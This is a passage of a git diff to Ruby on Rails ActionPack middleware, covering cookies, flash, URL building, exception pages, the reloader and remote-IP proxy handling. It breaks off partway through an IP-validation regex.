+    def assign_default_content_type_and_charset!(headers)
       return if headers[CONTENT_TYPE].present?
 
       @content_type ||= Mime::HTML
@@ -200,5 +266,19 @@ module ActionDispatch # :nodoc:
 
       headers[CONTENT_TYPE] = type
     end
+
+    def rack_response(status, header)
+      assign_default_content_type_and_charset!(header)
+      handle_conditional_get!
+
+      header[SET_COOKIE] = header[SET_COOKIE].join("\n") if header[SET_COOKIE].respond_to?(:join)
+
+      if [204, 304].include?(@status)
+        header.delete CONTENT_TYPE
+        [status, header, []]
+      else
+        [status, header, self]
+      end
+    end
   end
 end
diff --git a/actionpack/lib/action_dispatch/http/upload.rb b/actionpack/lib/action_dispatch/http/upload.rb
index 94fa747a79..ce8c2729e9 100644
--- a/actionpack/lib/action_dispatch/http/upload.rb
+++ b/actionpack/lib/action_dispatch/http/upload.rb
@@ -4,11 +4,12 @@ module ActionDispatch
       attr_accessor :original_filename, :content_type, :tempfile, :headers
 
       def initialize(hash)
+        @tempfile          = hash[:tempfile]
+        raise(ArgumentError, ':tempfile is required') unless @tempfile
+
         @original_filename = encode_filename(hash[:filename])
         @content_type      = hash[:type]
         @headers           = hash[:head]
-        @tempfile          = hash[:tempfile]
-        raise(ArgumentError, ':tempfile is required') unless @tempfile
       end
 
       def read(*args)
@@ -16,18 +17,15 @@ module ActionDispatch
       end
 
       # Delegate these methods to the tempfile.
-      [:open, :path, :rewind, :size].each do |method|
+      [:open, :path, :rewind, :size, :eof?].each do |method|
         class_eval "def #{method}; @tempfile.#{method}; end"
       end
-      
+
       private
+
       def encode_filename(filename)
-        # Encode the filename in the utf8 encoding, unless it is nil or we're in 1.8
-        if "ruby".encoding_aware? && filename
-          filename.force_encoding("UTF-8").encode!
-        else
-          filename
-        end
+        # Encode the filename in the utf8 encoding, unless it is nil
+        filename.force_encoding("UTF-8").encode! if filename
       end
     end
 
diff --git a/actionpack/lib/action_dispatch/http/url.rb b/actionpack/lib/action_dispatch/http/url.rb
index 129a8b1031..8aa02ec482 100644
--- a/actionpack/lib/action_dispatch/http/url.rb
+++ b/actionpack/lib/action_dispatch/http/url.rb
@@ -1,6 +1,8 @@
 module ActionDispatch
   module Http
     module URL
+      IP_HOST_REGEXP = /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/
+
       mattr_accessor :tld_length
       self.tld_length = 1
 
@@ -21,38 +23,45 @@ module ActionDispatch
         end
 
         def url_for(options = {})
-          unless options[:host].present? || options[:only_path].present?
+          path = ""
+          path << options.delete(:script_name).to_s.chomp("/")
+          path << options.delete(:path).to_s
+
+          params = options[:params] || {}
+          params.reject! {|k,v| v.to_param.nil? }
+
+          result = build_host_url(options)
+
+          result << (options[:trailing_slash] ? path.sub(/\?|\z/) { "/" + $& } : path)
+          result << "?#{params.to_query}" unless params.empty?
+          result << "##{Journey::Router::Utils.escape_fragment(options[:anchor].to_param.to_s)}" if options[:anchor]
+          result
+        end
+
+        private
+
+        def build_host_url(options)
+          if options[:host].blank? && options[:only_path].blank?
             raise ArgumentError, 'Missing host to link to! Please provide the :host parameter, set default_url_options[:host], or set :only_path to true'
           end
 
-          rewritten_url = ""
+          result = ""
 
           unless options[:only_path]
             unless options[:protocol] == false
-              rewritten_url << (options[:protocol] || "http")
-              rewritten_url << ":" unless rewritten_url.match(%r{:|//})
+              result << (options[:protocol] || "http")
+              result << ":" unless result.match(%r{:|//})
             end
-            rewritten_url << "//" unless rewritten_url.match("//")
-            rewritten_url << rewrite_authentication(options)
-            rewritten_url << host_or_subdomain_and_domain(options)
-            rewritten_url << ":#{options.delete(:port)}" if options[:port]
+            result << "//" unless result.match("//")
+            result << rewrite_authentication(options)
+            result << host_or_subdomain_and_domain(options)
+            result << ":#{options.delete(:port)}" if options[:port]
           end
-
-          path = options.delete(:path) || ''
-
-          params = options[:params] || {}
-          params.reject! {|k,v| v.to_param.nil? }
-
-          rewritten_url << (options[:trailing_slash] ? path.sub(/\?|\z/) { "/" + $& } : path)
-          rewritten_url << "?#{params.to_query}" unless params.empty?
-          rewritten_url << "##{Journey::Router::Utils.escape_fragment(options[:anchor].to_param.to_s)}" if options[:anchor]
-          rewritten_url
+          result
         end
 
-        private
-
         def named_host?(host)
-          !(host.nil? || /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/.match(host))
+          host && IP_HOST_REGEXP !~ host
         end
 
         def rewrite_authentication(options)
@@ -70,7 +79,7 @@ module ActionDispatch
 
           host = ""
           unless options[:subdomain] == false
-            host << (options[:subdomain] || extract_subdomain(options[:host], tld_length))
+            host << (options[:subdomain] || extract_subdomain(options[:host], tld_length)).to_param
             host << "."
           end
           host << (options[:domain] || extract_domain(options[:host], tld_length))
@@ -78,6 +87,12 @@ module ActionDispatch
         end
       end
 
+      def initialize(env)
+        super
+        @protocol = nil
+        @port     = nil
+      end
+
       # Returns the complete URL used for this request.
       def url
         protocol + host_with_port + fullpath
@@ -167,7 +182,7 @@ module ActionDispatch
       # such as 2 to catch <tt>"www"</tt> instead of <tt>"www.rubyonrails"</tt>
       # in "www.rubyonrails.co.uk".
       def subdomain(tld_length = @@tld_length)
-        subdomains(tld_length).join(".")
+        ActionDispatch::Http::URL.extract_subdomain(host, tld_length)
       end
     end
   end
diff --git a/actionpack/lib/action_dispatch/middleware/callbacks.rb b/actionpack/lib/action_dispatch/middleware/callbacks.rb
index 8c0f4052ec..852f1cf6f5 100644
--- a/actionpack/lib/action_dispatch/middleware/callbacks.rb
+++ b/actionpack/lib/action_dispatch/middleware/callbacks.rb
@@ -1,11 +1,10 @@
-require 'active_support/core_ext/module/delegation'
 
 module ActionDispatch
   # Provide callbacks to be executed before and after the request dispatch.
   class Callbacks
     include ActiveSupport::Callbacks
 
-    define_callbacks :call, :rescuable => true
+    define_callbacks :call
 
     class << self
       delegate :to_prepare, :to_cleanup, :to => "ActionDispatch::Reloader"
@@ -24,9 +23,15 @@ module ActionDispatch
     end
 
     def call(env)
-      run_callbacks :call do
-        @app.call(env)
+      error = nil
+      result = run_callbacks :call do
+        begin
+          @app.call(env)
+        rescue => error
+        end
       end
+      raise error if error
+      result
     end
   end
 end
diff --git a/actionpack/lib/action_dispatch/middleware/closed_error.rb b/actionpack/lib/action_dispatch/middleware/closed_error.rb
deleted file mode 100644
index 0a4db47f4b..0000000000
--- a/actionpack/lib/action_dispatch/middleware/closed_error.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-module ActionDispatch
-  class ClosedError < StandardError #:nodoc:
-    def initialize(kind)
-      super "Cannot modify #{kind} because it was closed. This means it was already streamed back to the client or converted to HTTP headers."
-    end
-  end
-end
diff --git a/actionpack/lib/action_dispatch/middleware/cookies.rb b/actionpack/lib/action_dispatch/middleware/cookies.rb
index a4ffd40a66..ba5d332d49 100644
--- a/actionpack/lib/action_dispatch/middleware/cookies.rb
+++ b/actionpack/lib/action_dispatch/middleware/cookies.rb
@@ -1,8 +1,8 @@
-require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/hash/keys'
+require 'active_support/core_ext/module/attribute_accessors'
 
 module ActionDispatch
-  class Request
+  class Request < Rack::Request
     def cookie_jar
       env['action_dispatch.cookies'] ||= Cookies::CookieJar.build(self)
     end
@@ -26,9 +26,9 @@ module ActionDispatch
   #   # Sets a cookie that expires in 1 hour.
   #   cookies[:login] = { :value => "XJ-122", :expires => 1.hour.from_now }
   #
-  #   # Sets a signed cookie, which prevents a user from tampering with its value.
+  #   # Sets a signed cookie, which prevents users from tampering with its value.
   #   # The cookie is signed by your app's <tt>config.secret_token</tt> value.
-  #   # Rails generates this value by default when you create a new Rails app.
+  #   # It can be read using the signed method <tt>cookies.signed[:key]</tt>
   #   cookies.signed[:user_id] = current_user.id
   #
   #   # Sets a "permanent" cookie (which expires in 20 years from now).
@@ -39,9 +39,10 @@ module ActionDispatch
   #
   # Examples for reading:
   #
-  #   cookies[:user_name] # => "david"
-  #   cookies.size        # => 2
-  #   cookies[:lat_lon]   # => [47.68, -122.37]
+  #   cookies[:user_name]    # => "david"
+  #   cookies.size           # => 2
+  #   cookies[:lat_lon]      # => [47.68, -122.37]
+  #   cookies.signed[:login] # => "XJ-122"
   #
   # Example for deleting:
   #
@@ -82,7 +83,7 @@ module ActionDispatch
     TOKEN_KEY   = "action_dispatch.secret_token".freeze
 
     # Raised when storing more than 4K of session data.
-    class CookieOverflow < StandardError; end
+    CookieOverflow = Class.new StandardError
 
     class CookieJar #:nodoc:
       include Enumerable
@@ -117,14 +118,9 @@ module ActionDispatch
         @delete_cookies = {}
         @host = host
         @secure = secure
-        @closed = false
         @cookies = {}
       end
 
-      attr_reader :closed
-      alias :closed? :closed
-      def close!; @closed = true end
-
       def each(&block)
         @cookies.each(&block)
       end
@@ -158,14 +154,13 @@ module ActionDispatch
           end
         elsif options[:domain].is_a? Array
           # if host matches one of the supplied domains without a dot in front of it
-          options[:domain] = options[:domain].find {|domain| @host.include? domain[/^\.?(.*)$/, 1] }
+          options[:domain] = options[:domain].find {|domain| @host.include? domain.sub(/^\./, '') }
         end
       end
 
       # Sets the cookie named +name+. The second argument may be the very cookie
       # value, or a hash of options as documented above.
       def []=(key, options)
-        raise ClosedError, :cookies if closed?
         if options.is_a?(Hash)
           options.symbolize_keys!
           value = options[:value]
@@ -174,12 +169,14 @@ module ActionDispatch
           options = { :value => value }
         end
 
-        @cookies[key.to_s] = value
-
         handle_options(options)
 
-        @set_cookies[key.to_s] = options
-        @delete_cookies.delete(key.to_s)
+        if @cookies[key.to_s] != value or options[:expires]
+          @cookies[key.to_s] = value
+          @set_cookies[key.to_s] = options
+          @delete_cookies.delete(key.to_s)
+        end
+
         value
       end
 
@@ -187,8 +184,9 @@ module ActionDispatch
       # and setting its expiration date into the past. Like <tt>[]=</tt>, you can pass in
       # an options hash to delete cookies with extra data such as a <tt>:path</tt>.
       def delete(key, options = {})
-        options.symbolize_keys!
+        return unless @cookies.has_key? key.to_s
 
+        options.symbolize_keys!
         handle_options(options)
 
         value = @cookies.delete(key.to_s)
@@ -196,6 +194,15 @@ module ActionDispatch
         value
       end
 
+      # Whether the given cookie is to be deleted by this CookieJar.
+      # Like <tt>[]=</tt>, you can pass in an options hash to test if a
+      # deletion applies to a specific <tt>:path</tt>, <tt>:domain</tt> etc.
+      def deleted?(key, options = {})
+        options.symbolize_keys!
+        handle_options(options)
+        @delete_cookies[key.to_s] == options
+      end
+
       # Removes all cookies on the client machine by calling <tt>delete</tt> for each cookie
       def clear(options = {})
         @cookies.each_key{ |k| delete(k, options) }
@@ -221,7 +228,7 @@ module ActionDispatch
       # cookie was tampered with by the user (or a 3rd party), an ActiveSupport::MessageVerifier::InvalidSignature exception will
       # be raised.
       #
-      # This jar requires that you set a suitable secret for the verification on your app's config.secret_token.
+      # This jar requires that you set a suitable secret for the verification on your app's +config.secret_token+.
       #
       # Example:
       #
@@ -243,10 +250,13 @@ module ActionDispatch
         @delete_cookies.clear
       end
 
+      mattr_accessor :always_write_cookie
+      self.always_write_cookie = false
+
       private
 
         def write_cookie?(cookie)
-          @secure || !cookie[:secure] || defined?(Rails.env) && Rails.env.development?
+          @secure || !cookie[:secure] || always_write_cookie
         end
     end
 
@@ -256,7 +266,6 @@ module ActionDispatch
       end
 
       def []=(key, options)
-        raise ClosedError, :cookies if closed?
         if options.is_a?(Hash)
           options.symbolize_keys!
         else
@@ -267,10 +276,6 @@ module ActionDispatch
         @parent_jar[key] = options
       end
 
-      def signed
-        @signed ||= SignedCookieJar.new(self, @secret)
-      end
-
       def method_missing(method, *arguments, &block)
         @parent_jar.send(method, *arguments, &block)
       end
@@ -295,7 +300,6 @@ module ActionDispatch
       end
 
       def []=(key, options)
-        raise ClosedError, :cookies if closed?
         if options.is_a?(Hash)
           options.symbolize_keys!
           options[:value] = @verifier.generate(options[:value])
@@ -338,7 +342,6 @@ module ActionDispatch
     end
 
     def call(env)
-      cookie_jar = nil
       status, headers, body = @app.call(env)
 
       if cookie_jar = env['action_dispatch.cookies']
@@ -349,9 +352,6 @@ module ActionDispatch
       end
 
       [status, headers, body]
-    ensure
-      cookie_jar = ActionDispatch::Request.new(env).cookie_jar unless cookie_jar
-      cookie_jar.close!
     end
   end
 end
diff --git a/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb b/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb
new file mode 100644
index 0000000000..0f0589a844
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb
@@ -0,0 +1,94 @@
+require 'action_dispatch/http/request'
+require 'action_dispatch/middleware/exception_wrapper'
+require 'action_dispatch/routing/inspector'
+
+
+module ActionDispatch
+  # This middleware is responsible for logging exceptions and
+  # showing a debugging page in case the request is local.
+  class DebugExceptions
+    RESCUES_TEMPLATE_PATH = File.join(File.dirname(__FILE__), 'templates')
+
+    def initialize(app, routes_app = nil)
+      @app        = app
+      @routes_app = routes_app
+    end
+
+    def call(env)
+      begin
+        response = @app.call(env)
+
+        if response[1]['X-Cascade'] == 'pass'
+          body = response[2]
+          body.close if body.respond_to?(:close)
+          raise ActionController::RoutingError, "No route matches [#{env['REQUEST_METHOD']}] #{env['PATH_INFO'].inspect}"
+        end
+      rescue Exception => exception
+        raise exception if env['action_dispatch.show_exceptions'] == false
+      end
+
+      exception ? render_exception(env, exception) : response
+    end
+
+    private
+
+    def render_exception(env, exception)
+      wrapper = ExceptionWrapper.new(env, exception)
+      log_error(env, wrapper)
+
+      if env['action_dispatch.show_detailed_exceptions']
+        template = ActionView::Base.new([RESCUES_TEMPLATE_PATH],
+          :request => Request.new(env),
+          :exception => wrapper.exception,
+          :application_trace => wrapper.application_trace,
+          :framework_trace => wrapper.framework_trace,
+          :full_trace => wrapper.full_trace,
+          :routes => formatted_routes(exception)
+        )
+
+        file = "rescues/#{wrapper.rescue_template}"
+        body = template.render(:template => file, :layout => 'rescues/layout')
+        render(wrapper.status_code, body)
+      else
+        raise exception
+      end
+    end
+
+    def render(status, body)
+      [status, {'Content-Type' => "text/html; charset=#{Response.default_charset}", 'Content-Length' => body.bytesize.to_s}, [body]]
+    end
+
+    def log_error(env, wrapper)
+      logger = logger(env)
+      return unless logger
+
+      exception = wrapper.exception
+
+      trace = wrapper.application_trace
+      trace = wrapper.framework_trace if trace.empty?
+
+      ActiveSupport::Deprecation.silence do
+        message = "\n#{exception.class} (#{exception.message}):\n"
+        message << exception.annoted_source_code.to_s if exception.respond_to?(:annoted_source_code)
+        message << "  " << trace.join("\n  ")
+        logger.fatal("#{message}\n\n")
+      end
+    end
+
+    def logger(env)
+      env['action_dispatch.logger'] || stderr_logger
+    end
+
+    def stderr_logger
+      @stderr_logger ||= ActiveSupport::Logger.new($stderr)
+    end
+
+    def formatted_routes(exception)
+      return false unless @routes_app.respond_to?(:routes)
+      if exception.is_a?(ActionController::RoutingError) || exception.is_a?(ActionView::Template::Error)
+        inspector = ActionDispatch::Routing::RoutesInspector.new
+        inspector.format(@routes_app.routes.routes).join("\n")
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
new file mode 100644
index 0000000000..7349b578d2
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
@@ -0,0 +1,81 @@
+require 'action_controller/metal/exceptions'
+require 'active_support/core_ext/exception'
+require 'active_support/core_ext/class/attribute_accessors'
+
+module ActionDispatch
+  class ExceptionWrapper
+    cattr_accessor :rescue_responses
+    @@rescue_responses = Hash.new(:internal_server_error)
+    @@rescue_responses.merge!(
+      'ActionController::RoutingError'             => :not_found,
+      'AbstractController::ActionNotFound'         => :not_found,
+      'ActionController::MethodNotAllowed'         => :method_not_allowed,
+      'ActionController::NotImplemented'           => :not_implemented,
+      'ActionController::UnknownFormat'            => :not_acceptable,
+      'ActionController::InvalidAuthenticityToken' => :unprocessable_entity,
+      'ActionController::BadRequest'               => :bad_request
+    )
+
+    cattr_accessor :rescue_templates
+    @@rescue_templates = Hash.new('diagnostics')
+    @@rescue_templates.merge!(
+      'ActionView::MissingTemplate'         => 'missing_template',
+      'ActionController::RoutingError'      => 'routing_error',
+      'AbstractController::ActionNotFound'  => 'unknown_action',
+      'ActionView::Template::Error'         => 'template_error'
+    )
+
+    attr_reader :env, :exception
+
+    def initialize(env, exception)
+      @env = env
+      @exception = original_exception(exception)
+    end
+
+    def rescue_template
+      @@rescue_templates[@exception.class.name]
+    end
+
+    def status_code
+      Rack::Utils.status_code(@@rescue_responses[@exception.class.name])
+    end
+
+    def application_trace
+      clean_backtrace(:silent)
+    end
+
+    def framework_trace
+      clean_backtrace(:noise)
+    end
+
+    def full_trace
+      clean_backtrace(:all)
+    end
+
+    private
+
+    def original_exception(exception)
+      if registered_original_exception?(exception)
+        exception.original_exception
+      else
+        exception
+      end
+    end
+
+    def registered_original_exception?(exception)
+      exception.respond_to?(:original_exception) && @@rescue_responses.has_key?(exception.original_exception.class.name)
+    end
+
+    def clean_backtrace(*args)
+      if backtrace_cleaner
+        backtrace_cleaner.clean(@exception.backtrace, *args)
+      else
+        @exception.backtrace
+      end
+    end
+
+    def backtrace_cleaner
+      @backtrace_cleaner ||= @env['action_dispatch.backtrace_cleaner']
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/flash.rb b/actionpack/lib/action_dispatch/middleware/flash.rb
index e59404ef68..9928b7cc3a 100644
--- a/actionpack/lib/action_dispatch/middleware/flash.rb
+++ b/actionpack/lib/action_dispatch/middleware/flash.rb
@@ -1,23 +1,23 @@
 module ActionDispatch
-  class Request
+  class Request < Rack::Request
     # Access the contents of the flash. Use <tt>flash["notice"]</tt> to
     # read a notice you put there or <tt>flash["notice"] = "hello"</tt>
     # to put a new one.
     def flash
-      @env[Flash::KEY] ||= (session["flash"] || Flash::FlashHash.new)
+      @env[Flash::KEY] ||= (session["flash"] || Flash::FlashHash.new).tap(&:sweep)
     end
   end
 
   # The flash provides a way to pass temporary objects between actions. Anything you place in the flash will be exposed
   # to the very next action and then cleared out. This is a great way of doing notices and alerts, such as a create
   # action that sets <tt>flash[:notice] = "Post successfully created"</tt> before redirecting to a display action that can
-  # then expose the flash to its template. Actually, that exposure is automatically done. Example:
+  # then expose the flash to its template. Actually, that exposure is automatically done.
   #
   #   class PostsController < ActionController::Base
   #     def create
   #       # save post
   #       flash[:notice] = "Post successfully created"
-  #       redirect_to posts_path(@post)
+  #       redirect_to @post
   #     end
   #
   #     def show
@@ -78,8 +78,7 @@ module ActionDispatch
       include Enumerable
 
       def initialize #:nodoc:
-        @used    = Set.new
-        @closed  = false
+        @discard = Set.new
         @flashes = {}
         @now     = nil
       end
@@ -93,8 +92,7 @@ module ActionDispatch
       end
 
       def []=(k, v) #:nodoc:
-        raise ClosedError, :flash if closed?
-        keep(k)
+        @discard.delete k
         @flashes[k] = v
       end
 
@@ -103,7 +101,7 @@ module ActionDispatch
       end
 
       def update(h) #:nodoc:
-        h.keys.each { |k| keep(k) }
+        @discard.subtract h.keys
         @flashes.update h
         self
       end
@@ -117,6 +115,7 @@ module ActionDispatch
       end
 
       def delete(key)
+        @discard.delete key
         @flashes.delete key
         self
       end
@@ -130,6 +129,7 @@ module ActionDispatch
       end
 
       def clear
+        @discard.clear
         @flashes.clear
       end
 
@@ -140,7 +140,7 @@ module ActionDispatch
       alias :merge! :update
 
       def replace(h) #:nodoc:
-        @used = Set.new
+        @discard.clear
         @flashes.replace h
         self
       end
@@ -159,16 +159,13 @@ module ActionDispatch
         @now ||= FlashNow.new(self)
       end
 
-      attr_reader :closed
-      alias :closed? :closed
-      def close!; @closed = true; end
-
       # Keeps either the entire current flash or a specific flash entry available for the next action:
       #
       #    flash.keep            # keeps the entire flash
       #    flash.keep(:notice)   # keeps only the "notice" entry, the rest of the flash is discarded
       def keep(k = nil)
-        use(k, false)
+        @discard.subtract Array(k || keys)
+        k ? self[k] : self
       end
 
       # Marks the entire flash or a single flash entry to be discarded by the end of the current action:
@@ -176,24 +173,16 @@ module ActionDispatch
       #     flash.discard              # discard the entire flash at the end of the current action
       #     flash.discard(:warning)    # discard only the "warning" entry at the end of the current action
       def discard(k = nil)
-        use(k)
+        @discard.merge Array(k || keys)
+        k ? self[k] : self
       end
 
       # Mark for removal entries that were kept, and delete unkept ones.
       #
       # This method is called automatically by filters, so you generally don't need to care about it.
       def sweep #:nodoc:
-        keys.each do |k|
-          unless @used.include?(k)
-            @used << k
-          else
-            delete(k)
-            @used.delete(k)
-          end
-        end
-
-        # clean up after keys that could have been left over by calling reject! or shift on the flash
-        (@used - keys).each{ |k| @used.delete(k) }
+        @discard.each { |k| @flashes.delete k }
+        @discard.replace @flashes.keys
       end
 
       # Convenience accessor for flash[:alert]
@@ -217,22 +206,9 @@ module ActionDispatch
       end
 
       protected
-
-        def now_is_loaded?
-          !!@now
-        end
-
-        # Used internally by the <tt>keep</tt> and <tt>discard</tt> methods
-        #     use()               # marks the entire flash as used
-        #     use('msg')          # marks the "msg" entry as used
-        #     use(nil, false)     # marks the entire flash as unused (keeps it around for one more action)
-        #     use('msg', false)   # marks the "msg" entry as unused (keeps it around for one more action)
-        # Returns the single value for the key you asked to be marked (un)used or the FlashHash itself
-        # if no key is passed.
-        def use(key = nil, used = true)
-          Array(key || keys).each { |k| used ? @used << k : @used.delete(k) }
-          return key ? self[key] : self
-        end
+      def now_is_loaded?
+        @now
+      end
     end
 
     def initialize(app)
@@ -240,13 +216,9 @@ module ActionDispatch
     end
 
     def call(env)
-      if (session = env['rack.session']) && (flash = session['flash'])
-        flash.sweep
-      end
-
       @app.call(env)
     ensure
-      session    = env['rack.session'] || {}
+      session    = Request::Session.find(env) || {}
       flash_hash = env[KEY]
 
       if flash_hash
@@ -258,10 +230,10 @@ module ActionDispatch
         end
 
         env[KEY] = new_hash
-        new_hash.close!
       end
 
-      if session.key?('flash') && session['flash'].empty?
+      if (!session.respond_to?(:loaded?) || session.loaded?) && # (reset_session uses {}, which doesn't implement #loaded?)
+         session.key?('flash') && session['flash'].empty?
         session.delete('flash')
       end
     end
diff --git a/actionpack/lib/action_dispatch/middleware/head.rb b/actionpack/lib/action_dispatch/middleware/head.rb
deleted file mode 100644
index f1906a3ab3..0000000000
--- a/actionpack/lib/action_dispatch/middleware/head.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-module ActionDispatch
-  class Head
-    def initialize(app)
-      @app = app
-    end
-
-    def call(env)
-      if env["REQUEST_METHOD"] == "HEAD"
-        env["REQUEST_METHOD"] = "GET"
-        env["rack.methodoverride.original_method"] = "HEAD"
-        status, headers, _ = @app.call(env)
-        [status, headers, []]
-      else
-        @app.call(env)
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_dispatch/middleware/params_parser.rb b/actionpack/lib/action_dispatch/middleware/params_parser.rb
index d4208ca96e..1cb803ffb9 100644
--- a/actionpack/lib/action_dispatch/middleware/params_parser.rb
+++ b/actionpack/lib/action_dispatch/middleware/params_parser.rb
@@ -52,14 +52,9 @@ module ActionDispatch
           false
         end
       rescue Exception => e # YAML, XML or Ruby code block errors
-        logger.debug "Error occurred while parsing request parameters.\nContents:\n\n#{request.raw_post}"
+        logger(env).debug "Error occurred while parsing request parameters.\nContents:\n\n#{request.raw_post}"
 
-        raise
-          { "body"           => request.raw_post,
-            "content_type"   => request.content_mime_type,
-            "content_length" => request.content_length,
-            "exception"      => "#{e.message} (#{e.class})",
-            "backtrace"      => e.backtrace }
+        raise e
       end
 
       def content_type_from_legacy_post_data_format_header(env)
@@ -73,8 +68,8 @@ module ActionDispatch
         nil
       end
 
-      def logger
-        defined?(Rails.logger) ? Rails.logger : Logger.new($stderr)
+      def logger(env)
+        env['action_dispatch.logger'] || ActiveSupport::Logger.new($stderr)
       end
   end
 end
diff --git a/actionpack/lib/action_dispatch/middleware/public_exceptions.rb b/actionpack/lib/action_dispatch/middleware/public_exceptions.rb
new file mode 100644
index 0000000000..53bedaa40a
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/public_exceptions.rb
@@ -0,0 +1,47 @@
+module ActionDispatch
+  class PublicExceptions
+    attr_accessor :public_path
+
+    def initialize(public_path)
+      @public_path = public_path
+    end
+
+    def call(env)
+      exception    = env["action_dispatch.exception"]
+      status       = env["PATH_INFO"][1..-1]
+      request      = ActionDispatch::Request.new(env)
+      content_type = request.formats.first
+      body         = { :status => status, :error => exception.message }
+
+      render(status, content_type, body)
+    end
+
+    private
+
+    def render(status, content_type, body)
+      format = content_type && "to_#{content_type.to_sym}"
+      if format && body.respond_to?(format)
+        render_format(status, content_type, body.public_send(format))
+      else
+        render_html(status)
+      end
+    end
+
+    def render_format(status, content_type, body)
+      [status, {'Content-Type' => "#{content_type}; charset=#{ActionDispatch::Response.default_charset}",
+                'Content-Length' => body.bytesize.to_s}, [body]]
+    end
+
+    def render_html(status)
+      found = false
+      path = "#{public_path}/#{status}.#{I18n.locale}.html" if I18n.locale
+      path = "#{public_path}/#{status}.html" unless path && (found = File.exist?(path))
+
+      if found || File.exist?(path)
+        render_format(status, 'text/html', File.read(path))
+      else
+        [404, { "X-Cascade" => "pass" }, []]
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/reloader.rb b/actionpack/lib/action_dispatch/middleware/reloader.rb
index 29289a76b4..2f6968eb2e 100644
--- a/actionpack/lib/action_dispatch/middleware/reloader.rb
+++ b/actionpack/lib/action_dispatch/middleware/reloader.rb
@@ -18,10 +18,10 @@ module ActionDispatch
   # classes before they are unloaded.
   #
   # By default, ActionDispatch::Reloader is included in the middleware stack
-  # only in the development environment; specifically, when config.cache_classes
+  # only in the development environment; specifically, when +config.cache_classes+
   # is false. Callbacks may be registered even when it is not included in the
-  # middleware stack, but are executed only when +ActionDispatch::Reloader.prepare!+
-  # or +ActionDispatch::Reloader.cleanup!+ are called manually.
+  # middleware stack, but are executed only when <tt>ActionDispatch::Reloader.prepare!</tt>
+  # or <tt>ActionDispatch::Reloader.cleanup!</tt> are called manually.
   #
   class Reloader
     include ActiveSupport::Callbacks
@@ -43,34 +43,47 @@ module ActionDispatch
 
     # Execute all prepare callbacks.
     def self.prepare!
-      new(nil).run_callbacks :prepare
+      new(nil).prepare!
     end
 
     # Execute all cleanup callbacks.
     def self.cleanup!
-      new(nil).run_callbacks :cleanup
+      new(nil).cleanup!
     end
 
-    def initialize(app)
+    def initialize(app, condition=nil)
       @app = app
-    end
-
-    module CleanupOnClose
-      def close
-        super if defined?(super)
-      ensure
-        ActionDispatch::Reloader.cleanup!
-      end
+      @condition = condition || lambda { true }
+      @validated = true
     end
 
     def call(env)
-      run_callbacks :prepare
+      @validated = @condition.call
+      prepare!
+
       response = @app.call(env)
-      response[2].extend(CleanupOnClose)
+      response[2] = ::Rack::BodyProxy.new(response[2]) { cleanup! }
+
       response
     rescue Exception
-      run_callbacks :cleanup
+      cleanup!
       raise
     end
+
+    def prepare! #:nodoc:
+      run_callbacks :prepare if validated?
+    end
+
+    def cleanup! #:nodoc:
+      run_callbacks :cleanup if validated?
+    ensure
+      @validated = true
+    end
+
+    private
+
+    def validated? #:nodoc:
+      @validated
+    end
   end
 end
diff --git a/actionpack/lib/action_dispatch/middleware/remote_ip.rb b/actionpack/lib/action_dispatch/middleware/remote_ip.rb
index c7d710b98e..ec15a2a715 100644
--- a/actionpack/lib/action_dispatch/middleware/remote_ip.rb
+++ b/actionpack/lib/action_dispatch/middleware/remote_ip.rb
@@ -2,50 +2,128 @@ module ActionDispatch
   class RemoteIp
     class IpSpoofAttackError < StandardError ; end
 
-    class RemoteIpGetter
-      def initialize(env, check_ip_spoofing, trusted_proxies)
-        @env = env
-        @check_ip_spoofing = check_ip_spoofing
-        @trusted_proxies = trusted_proxies
+    # IP addresses that are "trusted proxies" that can be stripped from
+    # the comma-delimited list in the X-Forwarded-For header. See also:
+    # http://en.wikipedia.org/wiki/Private_network#Private_IPv4_address_spaces
+    # http://en.wikipedia.org/wiki/Private_network#Private_IPv6_addresses.
+    TRUSTED_PROXIES = %r{
+      ^127\.0\.0\.1$                | # localhost
+      ^::1$                         |
+      ^(10                          | # private IP 10.x.x.x
+        172\.(1[6-9]|2[0-9]|3[0-1]) | # private IP in the range 172.16.0.0 .. 172.31.255.255
+        192\.168                    | # private IP 192.168.x.x
+        fc00::                        # private IP fc00
+       )\.
+    }x
+
+    attr_reader :check_ip, :proxies
+
+    def initialize(app, check_ip_spoofing = true, custom_proxies = nil)
+      @app = app
+      @check_ip = check_ip_spoofing
+      @proxies = case custom_proxies
+        when Regexp
+          custom_proxies
+        when nil
+          TRUSTED_PROXIES
+        else
+          Regexp.union(TRUSTED_PROXIES, custom_proxies)
+        end
+    end
+
+    def call(env)
+      env["action_dispatch.remote_ip"] = GetIp.new(env, self)
+      @app.call(env)
+    end
+
+    class GetIp
+
+      # IP v4 and v6 (with compression) validation regexp
+      # https://gist.github.com/1289635
+      VALID_IP = %r{
+        (^(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[0-9]{1,2})(\.(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[0-9]{1,2})){3}$)                                                        | # ip v4
+        (^(
+        (([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4})                                                                                                                   | # ip v6 not abbreviated
+        (([0-9A-Fa-f]{1,4}:){6}:[0-9A-Fa-f]{1,4})                                                                                                                  | # ip v6 with double colon in the end
+        (([0-9A-Fa-f]{1,4}:){5}:([0-9A-Fa-f]{1,4}:)?[0-9A-Fa-f]{1,4})                                                                                              | # - ip addresses v6
+        (([0-9A-Fa-f]{1,4}:){4}:([0-9A-Fa-f]{1,4}:){0,2}[0-9A-Fa-f]{1,4})                                                                                          | # - with
